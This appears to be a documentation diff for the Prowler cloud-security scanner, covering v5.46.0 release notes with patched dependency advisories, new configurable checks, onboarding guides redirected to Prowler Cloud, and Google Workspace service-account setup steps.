- `cognito_user_pool_account_recovery_sms_not_preferred` verifies that user pools do not rank SMS first for account recovery. Contributed by @UTKARSH698. Thank you!
|
||||
- `bedrock_api_key_no_long_term_credentials` now reports long-term API keys that never expire; IAM only returns `ExpirationDate` for keys created with an expiration period, so keys created without one produced no finding at all. Also contributed by @tamg-aws.
|
||||
|
||||
Explore all checks at [Prowler Hub](https://hub.prowler.com/check).
|
||||
|
||||
### 📬 Google Workspace — Policy Precedence and Edition Context
|
||||
|
||||
- Checks now read the policy Google applies (the greatest `sortOrder`) instead of the last policy the Cloud Identity Policy API lists, which reported default values over admin-configured ones.
|
||||
- Checks for Chat, Drive, Gmail, Calendar and Groups pass with the reason stated when the app is turned off for everyone and no organizational unit or group turns it back on. Drive sharing settings and the settings of existing groups keep being evaluated, because existing shares and groups stay reachable.
|
||||
- Findings state when a feature is not sold on the tenant edition, such as Drive DLP rules, Google session control and the shared drive sharing settings on Business Starter. Reading editions needs the optional `apps.licensing` scope; see the [authentication documentation](https://docs.prowler.com/user-guide/providers/googleworkspace/authentication).
|
||||
- The Gmail spoofing checks read each protection action from its own Policy API field: the inbound domain spoofing check could never pass and the similar domain names check reported the inbound action.
|
||||
- `drive_publishing_files_disabled` passes when sharing outside the organization is limited to allowlisted domains or off, and `drive_desktop_access_disabled` remediation points to the Google Drive for desktop card in the Admin console.
|
||||
|
||||
### 🛠️ Improvements and Fixes
|
||||
|
||||
- Scan report generation parses each resource's metadata once per batch, sanitizes it once per finding and releases each batch before building the next one, so providers with very large resource metadata no longer exhaust the worker memory.
|
||||
- Scan ingestion compares the serialized resource metadata with the stored value and serializes sets in a stable order, so unchanged resources no longer get their metadata, details and `updated_at` rewritten on every scan.
|
||||
- The compliance report PDF cover table wraps every value, so long account IDs such as OCI tenancy OCIDs no longer overflow their cell.
|
||||
- **Launch an initial scan now** is ticked by default on the provider and organization setup launch steps, so saving a schedule also runs a first scan unless the box is unticked.
|
||||
- The SAML SSO integration card on the profile page is shown to roles with the Manage Account permission, matching the API requirement.
|
||||
- **Prowler Cloud:** the scan-reports worker replaces each Celery child process after one report, so the memory a large report needs is returned instead of pushing the task towards an out-of-memory kill, and a container health check replaces a worker that stops consuming instead of leaving it in steady state.
|
||||
- **Prowler Cloud:** persistent report, compliance and overview workers no longer shut themselves down when a task named like a scan hits its time limit or is revoked; the one-shot shutdown only applies to the ephemeral workers of the `scans` queue.
|
||||
|
||||
### 🔐 Security Updates
|
||||
|
||||
- Resource metadata attached to findings no longer carries the values that secrets checks scan (CloudFormation outputs, Lambda environment variables, EC2 user data and similar fields); they are replaced with `REDACTED` before reaching the Evidence tab, the API and the output files.
|
||||
- SAML SSO configuration endpoints require the `manage_account` permission instead of `manage_integrations`, since the configured IdP controls who signs in and which role they receive.
|
||||
- Attack Paths custom queries strip block comments before the blocked-operation check and drop APOC virtual nodes and relationships from results, so `LOAD CSV` can no longer be split with a comment nor its response returned under a forged provider label.
|
||||
- `GET /resources/metadata`, `GET /resources/metadata/latest`, `GET /findings/metadata` and `GET /findings/metadata/latest` honour the provider groups of the caller role instead of aggregating every provider in the tenant.
|
||||
- OpenStack `auth_url` values resolving to loopback, private or otherwise non-public hosts are rejected before the SDK connects, on both the connection test and the scan.
|
||||
- `djangorestframework` upgraded to 3.18.3 in the API, patching the JSON parser charset and Accept header denial of service and the TokenProxy revocation bypass.
|
||||
- `Pillow` upgraded to 13.0.0 in the API, patching a JPEG decoder heap overflow.
|
||||
- `certifi` upgraded to 2026.10.19 in the SDK, the API and the MCP Server, dropping the emSign root CAs whose intermediate keys were compromised, and `uv` to 0.13.4 in the SDK and API images for the same reason.
|
||||
- `aiohttp` upgraded to 3.14.5 with `yarl` 1.25.1 in the SDK and the API, patching the aiohttp resource exhaustion advisories.
|
||||
- `black` upgraded to 26.10.1 and `graphql-core` to 3.2.12 in the SDK, patching CVE-2026-114134, CVE-2026-75507 and CVE-2026-75508, and `libbrotli1` to 1.1.0-2+deb13u1 in its container image, patching CVE-2026-111497.
|
||||
- Trivy upgraded to 0.76.1 in the SDK and API images, patching the HTTP/2, TLS and Go 1.27.2 stdlib CVEs bundled in Trivy 0.75.0, and the SDK and API images no longer ship the MicrosoftTeams build SBOM that Trivy read as installed `zod` and `body-parser`.
|
||||
- `next` upgraded to 16.4.1 in the UI, patching two unauthenticated remote code executions (Image Optimization with SVG files, GHSA-2464-fhr4-w9xw; `use cache` functions returning typed arrays, GHSA-673q-mjm6-r5xr), `@sentry/nextjs` to 10.75.2 for the middleware bypass through the tunnel route (GHSA-mchm-gjx6-7h55) and DOMPurify to 3.4.17 for the `SAFE_FOR_TEMPLATES` bypass (GHSA-cg2g-xh64-v4q7).
|
||||
- Node.js upgraded to 24.22.1 LTS in the UI container image, patching the eight CVEs of the October 2026 security release that affect the 24.x line, including the Brotli decoder remote code execution (CVE-2026-111497); the base image moves to Alpine 3.24.
|
||||
|
||||
### 🙌 External Contributors
|
||||
|
||||
Thank you to our community contributors for this release!
|
||||
|
||||
- @rajeshnadiminti: GCP Vertex AI service and its Workbench checks ([#13062](https://github.com/prowler-cloud/prowler/pull/13062), [#13077](https://github.com/prowler-cloud/prowler/pull/13077))
|
||||
- @tamg-aws: AWS `bedrock_guardrail_sensitive_information_filter_enforced` and `bedrock_model_invocation_logging_text_data_enabled` checks and the `bedrock_api_key_no_long_term_credentials` fix ([#12663](https://github.com/prowler-cloud/prowler/pull/12663))
|
||||
- @UTKARSH698: AWS `cognito_user_pool_account_recovery_sms_not_preferred` check ([#12251](https://github.com/prowler-cloud/prowler/pull/12251))
|
||||
|
||||
See the [full release notes on GitHub](https://github.com/prowler-cloud/prowler/releases/tag/5.46.0) for the complete list of changes.
|
||||
</Update>
|
||||
|
||||
<Update label="v5.45.0" description="October 15, 2026">
|
||||
### 🤖 Azure — AI Services Coverage
|
||||
|
||||
|
||||
@@ -3251,7 +3251,7 @@ If your provider has specific fields, add them to the finding transformation:
|
||||
**File:** `prowler/lib/outputs/finding.py`
|
||||
|
||||
```python
|
||||
def transform_api_finding(cls, finding, provider) -> "Finding":
|
||||
def transform_api_finding(cls, finding, provider, metadata_cache=None) -> "Finding":
|
||||
# ... existing code ...
|
||||
|
||||
# Your provider specific field
|
||||
|
||||
@@ -2,11 +2,15 @@
|
||||
title: "Installation"
|
||||
---
|
||||
|
||||
<Tip>
|
||||
[Prowler Cloud](https://cloud.prowler.com/sign-up) runs the same application with no installation or maintenance. Follow the [Prowler Cloud guide](/user-guide/tutorials/prowler-app) to start scanning right away.
|
||||
</Tip>
|
||||
|
||||
### Installation
|
||||
|
||||
Prowler Local Server offers flexible installation methods tailored to various environments.
|
||||
|
||||
Refer to the [Prowler Cloud guide](/user-guide/tutorials/prowler-app) for detailed usage instructions.
|
||||
Refer to the [Prowler Cloud guide](/user-guide/tutorials/prowler-app) for detailed usage instructions, which apply to Prowler Local Server as well.
|
||||
|
||||
<Warning>
|
||||
Prowler configuration is based on `.env` files. Every version of Prowler can have differences on that file, so, please, use the file that corresponds with that version or repository branch or tag.
|
||||
@@ -128,8 +132,8 @@ To update the environment file:
|
||||
Edit the `.env` file and change version values:
|
||||
|
||||
```env
|
||||
PROWLER_UI_VERSION="5.45.0"
|
||||
PROWLER_API_VERSION="5.45.0"
|
||||
PROWLER_UI_VERSION="5.47.0"
|
||||
PROWLER_API_VERSION="5.47.0"
|
||||
```
|
||||
|
||||
<Note>
|
||||
|
||||
@@ -2,7 +2,7 @@
|
||||
title: 'Overview'
|
||||
---
|
||||
|
||||
Prowler Local Server is a self-hosted web application that simplifies running Prowler. It provides:
|
||||
Prowler Local Server is a self-hosted web application that simplifies running Prowler. It is the open source counterpart of [Prowler Cloud](/getting-started/products/prowler-cloud), which runs the same application as a managed service. It provides:
|
||||
|
||||
- **User-friendly interface** for configuring and executing scans
|
||||
- Dashboard to **view results** and manage **security findings**
|
||||
|
||||
Binary file not shown.
|
Before Width: | Height: | Size: 210 KiB |
@@ -4,6 +4,10 @@
|
||||
|
||||

|
||||
|
||||
<Card title="Get started with Prowler Cloud" icon="cloud" href="https://cloud.prowler.com/sign-up">
|
||||
The fastest way to run Prowler: create an account, connect a provider, and get findings without installing anything. No billing details are required during the trial period.
|
||||
</Card>
|
||||
|
||||
Prowler ships two product families: Prowler Products, operated or licensed by the Prowler team, and Open Source projects, free to run and extend. See [Prowler product families](/getting-started/products) for every official name, including former names.
|
||||
|
||||
### Prowler Products
|
||||
@@ -25,6 +29,8 @@ Prowler ships two product families: Prowler Products, operated or licensed by th
|
||||
|
||||
### Open Source
|
||||
|
||||
Free to run and extend. Prefer the Open Source projects to run Prowler from a terminal, in CI/CD, or on infrastructure you operate yourself.
|
||||
|
||||
<Columns cols={2}>
|
||||
<Card title="Prowler CLI" icon="terminal" href="/getting-started/products/prowler-cli">
|
||||
Command line tool to run security scans across all supported providers.
|
||||
|
||||
@@ -39,6 +39,9 @@ The following list includes all the AWS checks with configurable variables that
|
||||
| `awslambda_function_no_secrets_in_variables` | `secrets_ignore_patterns` | List of Strings | `[]` |
|
||||
| `awslambda_function_using_supported_runtimes` | `obsolete_lambda_runtimes` | List of Strings | See `config.yaml` |
|
||||
| `awslambda_function_vpc_multi_az` | `lambda_min_azs` | Integer | `2` |
|
||||
| `elasticbeanstalk_environment_php_platform_updated` | `elasticbeanstalk_php_min_branch` | String | `"8.2"` |
|
||||
| `elasticbeanstalk_environment_php_platform_updated` | `elasticbeanstalk_php_min_platform_version` | String | `"4.13.13"` |
|
||||
| `lightsail_instance_php_blueprint_updated` | `lightsail_php_blueprints` | List of Strings | See `config.yaml` |
|
||||
| `cloudformation_stack_cdktoolkit_bootstrap_version` | `recommended_cdk_bootstrap_version` | Integer | `21` |
|
||||
| `cloudformation_stack_outputs_find_secrets` | `secrets_ignore_patterns` | List of Strings | `[]` |
|
||||
| `cloudfront_distributions_pqc_tls_enabled` | `cloudfront_pqc_min_protocol_versions` | List of Strings | `["TLSv1.3_2025"]` |
|
||||
@@ -214,7 +217,7 @@ The following list includes all the Azure checks with configurable variables tha
|
||||
| `apim_threat_detection_llm_jacking` | `apim_threat_detection_llm_jacking_minutes` | Integer | `1440` |
|
||||
| `apim_threat_detection_llm_jacking` | `apim_threat_detection_llm_jacking_threshold` | Float | `0.1` |
|
||||
| `app_ensure_java_version_is_latest` | `java_latest_version` | String | `"17"` |
|
||||
| `app_ensure_php_version_is_latest` | `php_latest_version` | String | `"8.2"` |
|
||||
| `app_ensure_php_version_is_latest` | `php_latest_version` | String | `"8.5"` |
|
||||
| `app_ensure_python_version_is_latest` | `python_latest_version` | String | `"3.12"` |
|
||||
| `defender_attack_path_notifications_properly_configured` | `defender_attack_path_minimal_risk_level` | String | `"High"` |
|
||||
| `network_public_ip_shodan` | `shodan_api_key` | String | `null` |
|
||||
@@ -231,6 +234,7 @@ The following list includes all the GCP checks with configurable variables that
|
||||
|
||||
| Check Name | Value | Type | Default |
|
||||
|---------------------------------------------------|-----------------------------------|---------|---------|
|
||||
| `appengine_version_php_runtime_supported` | `appengine_php_min_version` | String | `"8.2"` |
|
||||
| `cloudstorage_bucket_sufficient_retention_period` | `storage_min_retention_days` | Integer | `90` |
|
||||
| `compute_instance_group_multiple_zones` | `mig_min_zones` | Integer | `2` |
|
||||
| `compute_public_address_shodan` | `shodan_api_key` | String | `null` |
|
||||
@@ -448,6 +452,28 @@ aws:
|
||||
# aws.appstream_fleet_maximum_session_duration
|
||||
max_session_duration_seconds: 36000 # 10 Hours
|
||||
|
||||
# AWS Elastic Beanstalk Configuration
|
||||
# aws.elasticbeanstalk_environment_php_platform_updated
|
||||
# Oldest PHP branch still receiving security fixes
|
||||
elasticbeanstalk_php_min_branch: "8.2"
|
||||
# Oldest Amazon Linux 2023 PHP platform version bundling the fixed PHP release
|
||||
elasticbeanstalk_php_min_platform_version: "4.13.13"
|
||||
|
||||
# AWS Lightsail Configuration
|
||||
# aws.lightsail_instance_php_blueprint_updated
|
||||
# Blueprint id prefixes that ship PHP and require manual runtime verification
|
||||
lightsail_php_blueprints:
|
||||
[
|
||||
"wordpress",
|
||||
"lamp",
|
||||
"nginx",
|
||||
"drupal",
|
||||
"joomla",
|
||||
"magento",
|
||||
"prestashop",
|
||||
"plesk",
|
||||
"cpanel",
|
||||
]
|
||||
# AWS Lambda Configuration
|
||||
# aws.awslambda_function_using_supported_runtimes
|
||||
obsolete_lambda_runtimes:
|
||||
@@ -718,8 +744,9 @@ azure:
|
||||
shodan_api_key: null
|
||||
|
||||
# Azure App Service
|
||||
# Minimum runtime versions; any newer version passes
|
||||
# azure.app_ensure_php_version_is_latest
|
||||
php_latest_version: "8.2"
|
||||
php_latest_version: "8.5"
|
||||
# azure.app_ensure_python_version_is_latest
|
||||
python_latest_version: "3.12"
|
||||
# azure.app_ensure_java_version_is_latest
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
---
|
||||
title: 'Compliance'
|
||||
sidebarTitle: 'Overview'
|
||||
description: 'Run security checks against compliance frameworks, review posture across providers, use Compliance Watchlist to pin frameworks, and download CSV or PDF reports from Prowler Cloud and Prowler Local Server, or CSV reports from Prowler CLI.'
|
||||
description: 'Run security checks against compliance frameworks, review posture across providers, use Compliance Watchlist to pin frameworks, and download CSV or PDF reports from Prowler Cloud, or CSV reports from Prowler CLI.'
|
||||
---
|
||||
|
||||
import { SubscriptionBanner } from "/snippets/subscription-banner.mdx"
|
||||
@@ -24,15 +24,15 @@ For the unified compliance score methodology used across frameworks, see [Prowle
|
||||
</Card>
|
||||
</CardGroup>
|
||||
|
||||
## Prowler Cloud and Prowler Local Server
|
||||
## Prowler Cloud
|
||||
|
||||
The Compliance section in Prowler Cloud and Prowler Local Server centralizes compliance posture across every connected provider. It aggregates scan results, surfaces Prowler ThreatScore, and exposes detailed requirement-level evidence for each supported framework.
|
||||
The Compliance section in Prowler Cloud centralizes compliance posture across every connected provider. It aggregates scan results, surfaces Prowler ThreatScore, and exposes detailed requirement-level evidence for each supported framework.
|
||||
|
||||
### Accessing the Compliance Section
|
||||
|
||||
To open the compliance overview, follow these steps:
|
||||
|
||||
1. Sign in to Prowler Cloud at [cloud.prowler.com](https://cloud.prowler.com/sign-in) or to a Prowler Local Server instance.
|
||||
1. Sign in to [Prowler Cloud](https://cloud.prowler.com/sign-in).
|
||||
2. Select **Compliance** from the left navigation.
|
||||
|
||||
The Compliance page is organized into two tabs:
|
||||
@@ -42,10 +42,10 @@ The Compliance page is organized into two tabs:
|
||||
|
||||
<SubscriptionBanner label="Multiple Scans tab" />
|
||||
|
||||
<img src="/images/compliance/prowler-app-compliance-overview.png" alt="Compliance overview page in Prowler Cloud and Prowler Local Server showing filters, the Prowler ThreatScore card, and the framework grid" width="900" />
|
||||
<img src="/images/compliance/prowler-app-compliance-overview.png" alt="Compliance overview page in Prowler Cloud showing filters, the Prowler ThreatScore card, and the framework grid" width="900" />
|
||||
|
||||
<Note>
|
||||
Compliance results require at least one completed scan. If no scan has finished yet, Prowler Cloud and Prowler Local Server display a notice prompting to launch or wait for a scan to complete.
|
||||
Compliance results require at least one completed scan. If no scan has finished yet, Prowler Cloud displays a notice prompting to launch or wait for a scan to complete.
|
||||
</Note>
|
||||
|
||||
### Filtering Compliance Results
|
||||
@@ -196,7 +196,7 @@ Frameworks without a custom layout fall back to the generic details panel, which
|
||||
|
||||
### Downloading Compliance Reports
|
||||
|
||||
Prowler Cloud and Prowler Local Server expose two formats:
|
||||
Prowler Cloud exposes two formats:
|
||||
|
||||
* **CSV report:** Every requirement, every check, and every finding for the selected scan and filters. Available for all supported frameworks.
|
||||
* **PDF report:** Curated executive-style report. Currently supported for Prowler ThreatScore, ENS RD2022, NIS2, and CSA CCM. Additional PDF reports are added in subsequent Prowler releases.
|
||||
@@ -234,7 +234,7 @@ Use the API to integrate compliance evidence into ticketing systems, executive d
|
||||
|
||||
## Prowler CLI
|
||||
|
||||
Prowler CLI evaluates the same compliance frameworks as Prowler Cloud and Prowler Local Server, and produces detailed CSV outputs alongside the standard scan results. By default, it runs every supported framework and prints a status summary at the end of the scan:
|
||||
Prowler CLI evaluates the same compliance frameworks as Prowler Cloud, and produces detailed CSV outputs alongside the standard scan results. By default, it runs every supported framework and prints a status summary at the end of the scan:
|
||||
|
||||
<img src="/images/cli/compliance/compliance.png" />
|
||||
|
||||
|
||||
@@ -3,6 +3,7 @@ title: 'Getting Started With Alibaba Cloud on Prowler'
|
||||
---
|
||||
|
||||
import { VersionBadge } from "/snippets/version-badge.mdx"
|
||||
import { AppliesTo } from "/snippets/applies-to.mdx"
|
||||
|
||||
Prowler supports Alibaba Cloud both from the CLI and from Prowler Cloud. This guide walks you through the requirements, how to connect the provider in the UI, and how to run scans from the command line.
|
||||
|
||||
@@ -29,6 +30,8 @@ Before you begin, make sure you have:
|
||||
|
||||
<VersionBadge version="5.18.0" />
|
||||
|
||||
<AppliesTo />
|
||||
|
||||
### Step 1: Get Your Alibaba Cloud Account ID
|
||||
|
||||
1. Log in to the [Alibaba Cloud Console](https://home.console.alibabacloud.com/)
|
||||
@@ -39,7 +42,7 @@ Before you begin, make sure you have:
|
||||
|
||||
### Step 2: Access Prowler Cloud
|
||||
|
||||
1. Navigate to [Prowler Cloud](https://cloud.prowler.com/) or launch [Prowler Local Server](/user-guide/tutorials/prowler-app)
|
||||
1. Sign in to [Prowler Cloud](https://cloud.prowler.com/sign-in) or [create an account](https://cloud.prowler.com/sign-up)
|
||||
2. Go to "Configuration" > "Providers"
|
||||
|
||||

|
||||
|
||||
@@ -2,8 +2,12 @@
|
||||
title: 'Getting Started With AWS on Prowler'
|
||||
---
|
||||
|
||||
import { AppliesTo } from "/snippets/applies-to.mdx"
|
||||
|
||||
## Prowler Cloud
|
||||
|
||||
<AppliesTo />
|
||||
|
||||
<iframe width="560" height="380" src="https://www.youtube-nocookie.com/embed/RPgIWOCERzY" title="Prowler Cloud Onboarding AWS" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen="1"></iframe>
|
||||
|
||||
> Walkthrough video onboarding an AWS Account using Assumed Role.
|
||||
@@ -18,7 +22,7 @@ title: 'Getting Started With AWS on Prowler'
|
||||
|
||||
### Step 2: Access Prowler Cloud
|
||||
|
||||
1. Navigate to [Prowler Cloud](https://cloud.prowler.com/) or launch [Prowler Local Server](/user-guide/tutorials/prowler-app)
|
||||
1. Sign in to [Prowler Cloud](https://cloud.prowler.com/sign-in) or [create an account](https://cloud.prowler.com/sign-up)
|
||||
2. Go to "Configuration" > "Providers"
|
||||
|
||||

|
||||
@@ -75,7 +79,7 @@ For detailed instructions on how to create the role, see [Authentication > Assum
|
||||
|
||||

|
||||
|
||||
9. Paste the ARN into the corresponding field in Prowler Cloud or Prowler Local Server
|
||||
9. Paste the ARN into the corresponding field in Prowler Cloud
|
||||
|
||||

|
||||
|
||||
@@ -110,7 +114,7 @@ AWS accounts can also be configured using static credentials (not recommended fo
|
||||
|
||||
For detailed instructions on how to create the credentials, see [Authentication > Credentials](/user-guide/providers/aws/authentication#credentials).
|
||||
|
||||
1. Complete the form in Prowler Cloud or Prowler Local Server and click "Next"
|
||||
1. Complete the form in Prowler Cloud and click "Next"
|
||||
|
||||

|
||||
|
||||
|
||||
@@ -2,8 +2,12 @@
|
||||
title: 'Getting Started With Azure on Prowler'
|
||||
---
|
||||
|
||||
import { AppliesTo } from "/snippets/applies-to.mdx"
|
||||
|
||||
## Prowler Cloud
|
||||
|
||||
<AppliesTo />
|
||||
|
||||
<iframe width="560" height="380" src="https://www.youtube-nocookie.com/embed/v1as8vTFlMg" title="Prowler Cloud Onboarding Azure" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen="1"></iframe>
|
||||
> Walkthrough video onboarding an Azure Subscription using Service Principal.
|
||||
|
||||
@@ -34,7 +38,7 @@ For detailed instructions on how to create the Service Principal and configure p
|
||||
|
||||
### Step 2: Access Prowler Cloud
|
||||
|
||||
1. Navigate to [Prowler Cloud](https://cloud.prowler.com/) or launch [Prowler Local Server](/user-guide/tutorials/prowler-app)
|
||||
1. Sign in to [Prowler Cloud](https://cloud.prowler.com/sign-in) or [create an account](https://cloud.prowler.com/sign-up)
|
||||
2. Navigate to `Configuration` > `Providers`
|
||||
|
||||

|
||||
|
||||
@@ -3,6 +3,7 @@ title: 'Getting Started With Cloudflare on Prowler'
|
||||
---
|
||||
|
||||
import { VersionBadge } from "/snippets/version-badge.mdx"
|
||||
import { AppliesTo } from "/snippets/applies-to.mdx"
|
||||
|
||||
Prowler for Cloudflare scans zones for security misconfigurations, including SSL/TLS settings, DNSSEC, HSTS, WAF rules, DNS records, and more.
|
||||
|
||||
@@ -36,6 +37,8 @@ Both links open the Cloudflare Dashboard with the seven required read-only scope
|
||||
|
||||
<VersionBadge version="5.19.0" />
|
||||
|
||||
<AppliesTo />
|
||||
|
||||
### Step 1: Locate the Account ID
|
||||
|
||||
1. Log into the [Cloudflare Dashboard](https://dash.cloudflare.com).
|
||||
@@ -50,7 +53,7 @@ The Account ID is a 32-character hexadecimal string (e.g., `372e67954025e0ba6aaa
|
||||
|
||||
### Step 2: Open Prowler Cloud
|
||||
|
||||
1. Go to [Prowler Cloud](https://cloud.prowler.com/) or launch [Prowler Local Server](/user-guide/tutorials/prowler-app).
|
||||
1. Sign in to [Prowler Cloud](https://cloud.prowler.com/sign-in) or [create an account](https://cloud.prowler.com/sign-up).
|
||||
2. Navigate to "Configuration" > "Providers".
|
||||
|
||||

|
||||
|
||||
@@ -89,7 +89,7 @@ This method uses the Google Cloud CLI to authenticate and is suitable for develo
|
||||
|
||||

|
||||
|
||||
8. Extract the following values for Prowler Cloud or Prowler Local Server:
|
||||
8. Extract the following values for Prowler Cloud:
|
||||
|
||||
- `client_id`
|
||||
- `client_secret`
|
||||
|
||||
@@ -2,8 +2,12 @@
|
||||
title: 'Getting Started With GCP on Prowler'
|
||||
---
|
||||
|
||||
import { AppliesTo } from "/snippets/applies-to.mdx"
|
||||
|
||||
## Prowler Cloud
|
||||
|
||||
<AppliesTo />
|
||||
|
||||
### Step 1: Get the GCP Project ID
|
||||
|
||||
1. Go to the [GCP Console](https://console.cloud.google.com/)
|
||||
@@ -13,7 +17,7 @@ title: 'Getting Started With GCP on Prowler'
|
||||
|
||||
### Step 2: Access Prowler Cloud
|
||||
|
||||
1. Navigate to [Prowler Cloud](https://cloud.prowler.com/) or launch [Prowler Local Server](/user-guide/tutorials/prowler-app)
|
||||
1. Sign in to [Prowler Cloud](https://cloud.prowler.com/sign-in) or [create an account](https://cloud.prowler.com/sign-up)
|
||||
2. Go to "Configuration" > "Providers"
|
||||
|
||||

|
||||
|
||||
@@ -272,7 +272,7 @@ Store the `.pem` private key securely. Anyone with this key can authenticate as
|
||||
|
||||
## Prowler Cloud Authentication
|
||||
|
||||
For step-by-step setup instructions for Prowler Cloud, see the [Getting Started Guide](/user-guide/providers/github/getting-started-github#prowler-cloud-and-prowler-local-server).
|
||||
For step-by-step setup instructions for Prowler Cloud, see the [Getting Started Guide](/user-guide/providers/github/getting-started-github#prowler-cloud).
|
||||
|
||||
### Using Personal Access Token
|
||||
|
||||
@@ -302,7 +302,7 @@ For step-by-step setup instructions for Prowler Cloud, see the [Getting Started
|
||||
|
||||
3. Enter your GitHub App ID and upload the private key (`.pem` file).
|
||||
|
||||
For complete step-by-step instructions, see the [Getting Started Guide](/user-guide/providers/github/getting-started-github#prowler-cloud-and-prowler-local-server).
|
||||
For complete step-by-step instructions, see the [Getting Started Guide](/user-guide/providers/github/getting-started-github#prowler-cloud).
|
||||
|
||||
---
|
||||
|
||||
|
||||
@@ -2,6 +2,8 @@
|
||||
title: 'Getting Started with GitHub'
|
||||
---
|
||||
|
||||
import { AppliesTo } from "/snippets/applies-to.mdx"
|
||||
|
||||
This guide covers setting up GitHub security scanning with Prowler. Choose a preferred interface below:
|
||||
|
||||
<Note>
|
||||
@@ -16,7 +18,7 @@ Prowler can scan either:
|
||||
</Note>
|
||||
|
||||
<CardGroup cols={2}>
|
||||
<Card title="Prowler Cloud & Local Server" icon="cloud" href="#prowler-cloud-and-prowler-local-server">
|
||||
<Card title="Prowler Cloud" icon="cloud" href="#prowler-cloud">
|
||||
Web-based interface with centralized management
|
||||
</Card>
|
||||
<Card title="Prowler CLI" icon="terminal" href="#prowler-cli">
|
||||
@@ -26,7 +28,9 @@ Prowler can scan either:
|
||||
|
||||
---
|
||||
|
||||
## Prowler Cloud and Prowler Local Server
|
||||
## Prowler Cloud
|
||||
|
||||
<AppliesTo />
|
||||
|
||||
<iframe width="560" height="380" src="https://www.youtube-nocookie.com/embed/9ETI84Xpu2g" title="Prowler Cloud Onboarding Github" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen="1"></iframe>
|
||||
|
||||
@@ -34,7 +38,7 @@ Prowler can scan either:
|
||||
|
||||
### Prerequisites
|
||||
|
||||
Before adding GitHub to Prowler Cloud or Prowler Local Server, ensure you have:
|
||||
Before adding GitHub to Prowler Cloud, ensure you have:
|
||||
|
||||
1. **GitHub Account Access**
|
||||
- Personal GitHub account, OR
|
||||
@@ -46,9 +50,9 @@ Before adding GitHub to Prowler Cloud or Prowler Local Server, ensure you have:
|
||||
- OAuth App Token
|
||||
- GitHub App Credentials (Not Recommended - limited data access)
|
||||
|
||||
### Step 1: Access Prowler Cloud or Prowler Local Server
|
||||
### Step 1: Access Prowler Cloud
|
||||
|
||||
1. Navigate to [Prowler Cloud](https://cloud.prowler.com/) or launch [Prowler Local Server](/user-guide/tutorials/prowler-app)
|
||||
1. Sign in to [Prowler Cloud](https://cloud.prowler.com/sign-in) or [create an account](https://cloud.prowler.com/sign-up)
|
||||
2. Go to **Configuration** → **Providers**
|
||||
|
||||

|
||||
|
||||
@@ -25,6 +25,14 @@ Prowler requests the following read-only OAuth 2.0 scopes:
|
||||
The delegated user must be a **super administrator** in your Google Workspace organization. Using a non-admin account will result in permission errors when accessing the Admin SDK.
|
||||
</Warning>
|
||||
|
||||
### Optional Scope for Edition Context
|
||||
|
||||
Prowler can read which Google Workspace editions the tenant holds, Cloud Identity Premium included, and state in a finding when the audited feature is not sold on them (for example, Data Loss Prevention (DLP) for Drive or Google session control). This needs the Enterprise License Manager API enabled in the GCP project (Step 2) and the scope `https://www.googleapis.com/auth/apps.licensing` added to the Domain-Wide Delegation list (Step 5). Without the scope, every check runs the same and findings carry no edition context.
|
||||
|
||||
<Warning>
|
||||
The `apps.licensing` scope is Google's "view and manage licenses" scope and has no read-only variant. Prowler only lists license assignments, but anyone holding the Service Account key could assign or revoke licenses with it on behalf of the super administrator. Grant it only if you want the edition context, and protect the key accordingly.
|
||||
</Warning>
|
||||
|
||||
## Setup Steps
|
||||
|
||||
### Step 1: Create a Google Cloud Platform (GCP) Project (if Needed)
|
||||
@@ -35,21 +43,22 @@ The project is only used to host the Service Account — it does not need to hav
|
||||
|
||||
### Step 2: Enable Required APIs
|
||||
|
||||
In the [Google Cloud Console](https://console.cloud.google.com), select the target project and navigate to **APIs & Services → Library**. Search for and enable each of the following APIs:
|
||||
In the [Google Cloud Console](https://console.cloud.google.com), select the target project and enable each of the following APIs:
|
||||
|
||||
| API | Required For |
|
||||
|-----|--------------|
|
||||
| **Admin SDK API** | Directory service checks (users, roles, domains) |
|
||||
| **Cloud Identity API** | All service checks except Directory (domain-level application policies) |
|
||||
| API | Service Name | Required For |
|
||||
|-----|--------------|--------------|
|
||||
| **[Admin SDK API](https://console.cloud.google.com/apis/library/admin.googleapis.com)** | `admin.googleapis.com` | Directory service checks (users, roles, domains) |
|
||||
| **[Cloud Identity API](https://console.cloud.google.com/apis/library/cloudidentity.googleapis.com)** | `cloudidentity.googleapis.com` | All service checks except Directory (domain-level application policies) |
|
||||
| **[Enterprise License Manager API](https://console.cloud.google.com/apis/library/licensing.googleapis.com)** | `licensing.googleapis.com` | Optional: edition context in findings (see Optional Scope for Edition Context) |
|
||||
|
||||
For each API:
|
||||
|
||||
1. Search for the API name in the library
|
||||
2. Click the API result
|
||||
1. Open the link above, or navigate to **APIs & Services → Library** and search for the API name
|
||||
2. Confirm the target project is selected in the project picker
|
||||
3. Click **Enable**
|
||||
|
||||
<Note>
|
||||
Both APIs must be enabled in the same GCP project that hosts the Service Account. All service checks except Directory will return no findings if the Cloud Identity API is not enabled.
|
||||
The Admin SDK API and the Cloud Identity API must be enabled in the same GCP project that hosts the Service Account. All service checks except Directory will return no findings if the Cloud Identity API is not enabled. The Identity and Access Management (IAM) API (`iam.googleapis.com`) is a different API: enabling it does not replace the Cloud Identity API.
|
||||
</Note>
|
||||
|
||||
### Step 3: Create a Service Account
|
||||
@@ -77,6 +86,30 @@ The Service Account does not need any GCP IAM roles. Its access to Google Worksp
|
||||
This JSON key grants access to your Google Workspace organization. Never commit it to version control, share it in plain text, or store it in an insecure location.
|
||||
</Warning>
|
||||
|
||||
#### Service Account Key Creation Is Disabled
|
||||
|
||||
Organizations created on or after May 3, 2024 enforce the [Secure by Default](https://docs.cloud.google.com/resource-manager/docs/secure-by-default-organizations) organization policy `iam.managed.disableServiceAccountKeyCreation`, and the **Add key** dialog shows "Service account key creation is disabled". To create the key, a user with the Organization Policy Administrator role (`roles/orgpolicy.policyAdmin`) on the organization must turn off enforcement for the project that hosts the Service Account:
|
||||
|
||||
1. In the Google Cloud Console, select the project and navigate to **IAM & Admin → Organization Policies**
|
||||
2. Open **Disable service account key creation** (`iam.managed.disableServiceAccountKeyCreation`) and click **Manage policy**
|
||||
3. Select **Override parent's policy**, click **Add a rule**, set **Enforcement** to **Off**, and click **Set policy**
|
||||
4. Return to the Service Account **Keys** tab and create the key
